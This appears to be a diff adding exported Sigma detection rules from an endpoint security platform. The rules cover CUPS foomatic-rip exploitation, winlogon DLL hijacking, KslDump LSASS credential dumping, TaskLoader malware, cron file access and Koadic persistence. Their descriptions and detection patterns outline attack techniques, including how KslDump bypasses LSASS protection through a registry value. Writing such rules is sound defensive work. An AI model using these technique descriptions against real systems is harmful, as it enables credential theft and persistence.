+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.625154Z",
+  "creation_date": "2026-03-23T11:45:34.625156Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.625160Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/",
+    "https://gist.github.com/stong/c8847ef27910ae344a7b5408d9840ee1",
+    "https://www.elastic.co/security-labs/cups-overflow",
+    "https://attack.mitre.org/techniques/T1203/"
+  ],
+  "name": "cve_2024_47177_cupsd_foomatic_rip_shell_execution.yml",
+  "content": "title: CUPS CVE-2024-47177 Vulnerability Exploited\nid: 2307c08f-aa49-4fa1-a3d5-d2a849e2bf17\ndescription: |\n    Detects the suspicious creation of child processes by the foomatic-rip process related to the exploitation of the CUPS (Common UNIX Printing System) vulnerability.\n    This detection rule is related to multiple vulnerabilities in the CUPS printing system, including CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, and CVE-2024-47177.\n    These flaws allow for remote unauthenticated attackers to manipulate IPP URLs or inject malicious data through crafted UDP packets or network spoofing.\n    This can result in arbitrary command execution when a print job is initiated.\n    It is recommended to investigate the command-line performing this action to determine its legitimacy.\nreferences:\n    - https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/\n    - https://gist.github.com/stong/c8847ef27910ae344a7b5408d9840ee1\n    - https://www.elastic.co/security-labs/cups-overflow\n    - https://attack.mitre.org/techniques/T1203/\ndate: 2024/10/02\nmodified: 2025/12/17\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1203\n    - cve.2024-47177\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Exploit.CUPS\n    - classification.Linux.Exploit.CVE-2024-47177\nlogsource:\n    product: linux\n    category: process_creation\ndetection:\n    selection:\n        ProcessParentImage|endswith: '/foomatic-rip'\n        sha256|contains: '?' # at least one character, some SHA256 are empty\n\n    filter_image:\n        ProcessImage:\n            - '/usr/bin/foomatic-rip'\n            - '/usr/lib/cups/filter/foomatic-rip'\n            - '/usr/bin/cat'\n            - '/usr/bin/gs'\n\n    filter_gs:\n        ProcessCommandLine|contains|all:\n            - ' -c '\n            - ' gs '\n            - ' -dBATCH'\n            - ' -dNOPAUSE'\n            - ' -sDEVICE'\n\n    exclusion_plg:\n        ProcessCommandLine|contains|all:\n            - '@PJL SET COPIES'\n            - ' -dPARANOIDSAFER '\n            - ' -sDEVICE='\n            - ' -sOutputFile='\n\n    exclusion_epson:\n        ProcessParentCommandLine|contains|all:\n            - 'Collate finishings='\n            - 'number-up='\n            - 'job-uuid='\n            - 'job-originating-host-name='\n            - 'time-at-creation='\n            - 'time-at-processing='\n        CommandLine|startswith: 'perl -p -e if (! $did) {'\n\n    exclusion_printer_payloads:\n        ProcessCommandLine|contains:\n            # These payloads are from legitimate printer software/tools, primarily used during the pre-printing process.\n            - '-c printf \"%%!PS-Adobe-3.0'\n            - '/bin/sh -e -c foo2zjs-wrapper '\n            - 'ipp://localhost/printers/'\n            - '/pdffile (/tmp/foomatic-'\n            - '/bin/sh -e -c pdftops '\n            - '/var/spool/cups/tmp/foomatic-*'\n            - '/bin/sh -e -c foo2xqx-wrapper '\n            - '/bin/bash -e -c /bin/cat - | sicgsfilter '\n\n    exclusion_cat:\n        ProcessCommandLine:\n            - '/bin/sh -e -c cat'\n            - '/bin/bash -c cat'\n            - '/bin/bash -e -c cat'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2307c08f-aa49-4fa1-a3d5-d2a849e2bf17",
+  "rule_name": "CUPS CVE-2024-47177 Vulnerability Exploited",
+  "rule_description": "Detects the suspicious creation of child processes by the foomatic-rip process related to the exploitation of the CUPS (Common UNIX Printing System) vulnerability.\nThis detection rule is related to multiple vulnerabilities in the CUPS printing system, including CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, and CVE-2024-47177.\nThese flaws allow for remote unauthenticated attackers to manipulate IPP URLs or inject malicious data through crafted UDP packets or network spoofing.\nThis can result in arbitrary command execution when a print job is initiated.\nIt is recommended to investigate the command-line performing this action to determine its legitimacy.\n",
+  "rule_creation_date": "2024-10-02",
+  "rule_modified_date": "2025-12-17",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1203"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2312ad6d-35cc-45d7-83a7-08f4131d32b0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.600939Z",
+  "creation_date": "2026-03-23T11:45:34.600943Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.600951Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_winlogon.yml",
+  "content": "title: DLL Hijacking via winlogon.exe\nid: 2312ad6d-35cc-45d7-83a7-08f4131d32b0\ndescription: |\n    Detects potential Windows DLL Hijacking via winlogon.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'winlogon.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\UXINIT.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2312ad6d-35cc-45d7-83a7-08f4131d32b0",
+  "rule_name": "DLL Hijacking via winlogon.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via winlogon.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2319811a-6bed-4f5b-988c-74630cf93daf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T16:07:52.726835Z",
+  "creation_date": "2026-03-23T11:45:34.623641Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.623645Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/andreisss/KslDump",
+    "https://attack.mitre.org/techniques/T1003/001/"
+  ],
+  "name": "t1003_001_ksldump.yml",
+  "content": "title: KslDump Technique Detected\nid: 2319811a-6bed-4f5b-988c-74630cf93daf\ndescription: |\n    Detects the KslDump technique by monitoring suspicious modifications to the Ksl service's registry key.\n    KslDump steals LSASS credentials from a PPL protected system using only Microsoft signed components.\n    The attack simply redirects the Windows Defender service to an older, vulnerable copy of KslD.sys (drivers\\KslD.sys) that Microsoft left on disk.\n    KslD.sys gives usermode code a direct path to MmCopyMemory() which allows attackers to bypass PPL and allows an arbitrary process to dump LSASS.\n    The only gate to the device handle is a process name string stored in a registry key (AllowedProcessName).\n    It is recommended to check the process that modified the registry value and the details for suspicious activities.\nreferences:\n    - https://github.com/andreisss/KslDump\n    - https://attack.mitre.org/techniques/T1003/001/\ndate: 2026/03/18\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.001\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\KslD\\AllowedProcessName'\n\n    filter_legit_defender:\n        Details:\n            - '\\Device\\HarddiskVolume*\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\MsMpEng.exe'\n            - '\\Device\\HarddiskVolume*\\Program Files\\Windows Defender\\MsMpEng.exe'\n\n    condition: selection and not 1 of filter_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2319811a-6bed-4f5b-988c-74630cf93daf",
+  "rule_name": "KslDump Technique Detected",
+  "rule_description": "Detects the KslDump technique by monitoring suspicious modifications to the Ksl service's registry key.\nKslDump steals LSASS credentials from a PPL protected system using only Microsoft signed components.\nThe attack simply redirects the Windows Defender service to an older, vulnerable copy of KslD.sys (drivers\\KslD.sys) that Microsoft left on disk.\nKslD.sys gives usermode code a direct path to MmCopyMemory() which allows attackers to bypass PPL and allows an arbitrary process to dump LSASS.\nThe only gate to the device handle is a process name string stored in a registry key (AllowedProcessName).\nIt is recommended to check the process that modified the registry value and the details for suspicious activities.\n",
+  "rule_creation_date": "2026-03-18",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "233bd602-6fe8-4484-991f-3b45ef546127",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.604263Z",
+  "creation_date": "2026-03-23T11:45:34.604266Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.604274Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.file.net/process/sitool.exe.html",
+    "https://attack.mitre.org/techniques/T1071/001/"
+  ],
+  "name": "t1071_001_sitool_malware.yml",
+  "content": "title: TaskLoader Malware Execution\nid: 233bd602-6fe8-4484-991f-3b45ef546127\ndescription: |\n    Detects the execution of the TaskLoader malware.\n    TaskLoader is a malware that usually spreads through cracked software and contacts its C2 server for remote command execution.\n    It is named TaskLoader as it utilizes scheduled tasks for persistence.\n    The Sitool binary has also been associated with different malwares such as njRAT or Sabsik.\n    It is recommended to examine this file further and look for persistence traces - especially scheduled tasks - on the infected computers.\nreferences:\n    - https://www.file.net/process/sitool.exe.html\n    - https://attack.mitre.org/techniques/T1071/001/\ndate: 2023/06/16\nmodified: 2025/03/07\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1071.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Malware.TaskLoader\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        OriginalFileName: 'sihost.exe'\n        Image|endswith: '\\sitool.exe'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "233bd602-6fe8-4484-991f-3b45ef546127",
+  "rule_name": "TaskLoader Malware Execution",
+  "rule_description": "Detects the execution of the TaskLoader malware.\nTaskLoader is a malware that usually spreads through cracked software and contacts its C2 server for remote command execution.\nIt is named TaskLoader as it utilizes scheduled tasks for persistence.\nThe Sitool binary has also been associated with different malwares such as njRAT or Sabsik.\nIt is recommended to examine this file further and look for persistence traces - especially scheduled tasks - on the infected computers.\n",
+  "rule_creation_date": "2023-06-16",
+  "rule_modified_date": "2025-03-07",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "23401fcc-11a5-4f33-b901-caca2fc67071",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.617355Z",
+  "creation_date": "2026-03-23T11:45:34.617357Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.617361Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.003/T1053.003.md",
+    "https://attack.mitre.org/techniques/T1053/003/"
+  ],
+  "name": "t1053_003_cron_file_macos.yml",
+  "content": "title: Crontab-Related Files Read (macOS)\nid: 23401fcc-11a5-4f33-b901-caca2fc67071\ndescription: |\n    Detects the access to a cron job files without the use of crontab.\n    An attacker could add a malicious cron job for persistence.\n    It is recommended to check the content of the file in command-line for any unwanted lines.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.003/T1053.003.md\n    - https://attack.mitre.org/techniques/T1053/003/\ndate: 2022/11/14\nmodified: 2025/01/30\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1053.003\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Persistence\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image:\n            - '/bin/sh'\n            - '/bin/bash'\n            - '/bin/csh'\n            - '/bin/dash'\n            - '/bin/ksh'\n            - '/bin/tcsh'\n            - '/bin/zsh'\n            - '/bin/cat'\n            - '/bin/echo'\n            - '/bin/mv'\n            - '/bin/cp'\n            - '/usr/bin/less'\n            - '/usr/bin/more'\n            - '/usr/bin/vi'\n            - '/usr/bin/vim'\n\n        CommandLine|contains:\n            # Match /etc/crontab and /etc/cron.daily and so on\n            - '/etc/cron'\n            # Alternative way to execute cron jobs via periodic\n            - '/etc/periodic'\n            - '/private/var/at'\n            # symlink to /private/var/at\n            - '/usr/lib/cron'\n\n    exclusion_crontab_parent:\n        ParentImage: '/usr/bin/crontab'\n\n    # /bin/sh /etc/periodic/daily/199.clean-fax\n    # /bin/sh - /etc/periodic/weekly/999.local\n    # sh -c /etc/periodic/daily/999.local\n    exclusion_periodic_exec:\n        CommandLine|startswith:\n            - '/bin/sh /etc/periodic'\n            - '/bin/sh - /etc/periodic'\n            - 'sh -c /etc/periodic'\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "23401fcc-11a5-4f33-b901-caca2fc67071",
+  "rule_name": "Crontab-Related Files Read (macOS)",
+  "rule_description": "Detects the access to a cron job files without the use of crontab.\nAn attacker could add a malicious cron job for persistence.\nIt is recommended to check the content of the file in command-line for any unwanted lines.\n",
+  "rule_creation_date": "2022-11-14",
+  "rule_modified_date": "2025-01-30",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "23739d71-74b5-47ee-81b8-7aa4d21af3bc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.294721Z",
+  "creation_date": "2026-03-23T11:45:35.294724Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.294729Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1036/004/",
+    "https://attack.mitre.org/techniques/T1036/005/",
+    "https://attack.mitre.org/techniques/T1569/"
+  ],
+  "name": "t1036_004_systemd_service_manually_started.yml",
+  "content": "title: System Service Manually Started\nid: 23739d71-74b5-47ee-81b8-7aa4d21af3bc\ndescription: |\n    Detects a potential attempt to manually start a system service, instead of relying on the system standard service utilities.\n    This might be an attempt to masquerade a custom binary as a system service or maliciously interfere with the way services are naturally handled.\n    It is recommended to check if the binary is expected to be executed that way.\nreferences:\n    - https://attack.mitre.org/techniques/T1036/004/\n    - https://attack.mitre.org/techniques/T1036/005/\n    - https://attack.mitre.org/techniques/T1569/\ndate: 2023/12/15\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1036.004\n    - attack.t1036.005\n    - attack.execution\n    - attack.t1569\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.DefenseEvasion\n    - classification.Linux.Behavior.Masquerading\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith:\n            - '/sshd'\n            - '/cron'\n            - '/crond'\n            - '/cupsd'\n        ParentImage|contains: '?'\n\n    filter_forks:\n        ParentImage|endswith:\n            - '/sshd'\n            - '/cron'\n            - '/crond'\n            - '/cupsd'\n\n    filter_systemd:\n        - ParentImage:\n            - '/lib/systemd/systemd'\n            - '/usr/lib/systemd/systemd'\n            - '/nix/store/*-systemd-*/lib/systemd/systemd'\n        - GrandparentImage:\n            - '/lib/systemd/systemd'\n            - '/usr/lib/systemd/systemd'\n            - '/nix/store/*-systemd-*/lib/systemd/systemd'\n\n    exclusion_ossec:\n        ParentImage: '/var/ossec/bin/wazuh-modulesd'\n\n    exclusion_insights_client:\n        CommandLine: '/usr/sbin/sshd -T'\n        GrandparentCommandLine|startswith:\n            - '/usr/bin/python /usr/lib/python*/site-packages/insights_client/run.py '\n            - '/usr/libexec/platform-python /usr/lib/python*/site-packages/insights_client/run.py '\n\n    exclusion_sshd_basic_args_1:\n        Image|endswith: '/sshd'\n        CommandLine|contains:\n            - ' -t '\n            - ' -h '\n            - ' -v '\n\n    exclusion_sshd_basic_args_2:\n        Image|endswith: '/sshd'\n        CommandLine|endswith:\n            - ' -t'\n            - ' -h'\n            - ' -v'\n            - ' -?'\n\n    exclusion_puppet:\n        - ParentImage: '/opt/puppetlabs/puppet/bin/ruby'\n        - GrandparentImage: '/opt/puppetlabs/puppet/bin/ruby'\n\n    exclusion_s6_supervise:\n        ProcessParentImage|endswith:\n            - '/s6-supervise'\n            - '/s6-svscan '\n\n    exclusion_qualys:\n        ProcessAncestors|contains:\n            - '/usr/local/qualys/cloud-agent/bin/qualys-scan-util'\n            - '/usr/local/qualys/cloud-agent/bin/qualys-cloud-agent'\n\n    exclusion_supervisord:\n        ProcessParentCommandLine|contains: '/usr/bin/supervisord'\n\n    exclusion_init:\n        - ProcessParentCommandLine|contains: '/etc/init.d/'\n        - ProcessGrandparentCommandLine|contains: '/sbin/init splash'\n        - ProcessParentImage: '/sbin/init'\n        - ProcessGrandparentImage: '/sbin/init'\n        - ProcessParentCommandLine: '/sbin/init'\n        - ProcessGrandparentCommandLine: '/sbin/init'\n\n    exclusion_containerd:\n        - ProcessAncestors|contains: '/containerd-shim-runc-v2'\n        - ProcessGrandparentImage: '/sbin/docker-init'\n\n    exclusion_runsvdir:\n        - ProcessParentCommandLine|contains: 'runsvdir'\n        - ProcessParentCommandLine|contains: 'runsvdir'\n\n    exclusion_cups_snap:\n        ProcessParentCommandLine: '/bin/sh /snap/cups/*/scripts/run-cupsd'\n\n    exclusion_busybox:\n        ProcessParentImage: '/bin/busybox'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "23739d71-74b5-47ee-81b8-7aa4d21af3bc",
+  "rule_name": "System Service Manually Started",
+  "rule_description": "Detects a potential attempt to manually start a system service, instead of relying on the system standard service utilities.\nThis might be an attempt to masquerade a custom binary as a system service or maliciously interfere with the way services are naturally handled.\nIt is recommended to check if the binary is expected to be executed that way.\n",
+  "rule_creation_date": "2023-12-15",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036.004",
+    "attack.t1036.005",
+    "attack.t1569"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "23ae76e3-7f36-4f3d-986c-cd449deeb266",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.091265Z",
+  "creation_date": "2026-03-23T11:45:34.091267Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.091271Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/offsecginger/koadic",
+    "https://attack.mitre.org/software/S0250/",
+    "https://attack.mitre.org/techniques/T1547/"
+  ],
+  "name": "t1547_koadic_script_auto_run.yml",
+  "content": "title: Koadic Auto Run Script Created\nid: 23ae76e3-7f36-4f3d-986c-cd449deeb266\ndescription: |\n    Detects the creation of a .HTA file used to reconnect a system infected by Koadic back to its C2 server.\n    Koadic is a Windows post-exploitation framework and penetration testing tool that is publicly available on GitHub.\n    It is recommended to analyze the process responsible for creation of this file to look for other malicious actions, as well as to investigate suspicious network activity from a potential Koadic beacon.\nreferences:\n    - https://github.com/offsecginger/koadic\n    - https://attack.mitre.org/software/S0250/\n    - https://attack.mitre.org/techniques/T1547/\ndate: 2021/02/11\nmodified: 2025/01/30\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1547\n    - attack.s0250\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Framework.Koadic\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n        Path|endswith:\n            - '\\AppData\\Roaming\\\\??????????.hta'\n            - '\\ProgramData\\\\??????????.hta'\n\n    condition: selection\nlevel: medium\n# level: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "23ae76e3-7f36-4f3d-986c-cd449deeb266",
+  "rule_name": "Koadic Auto Run Script Created",
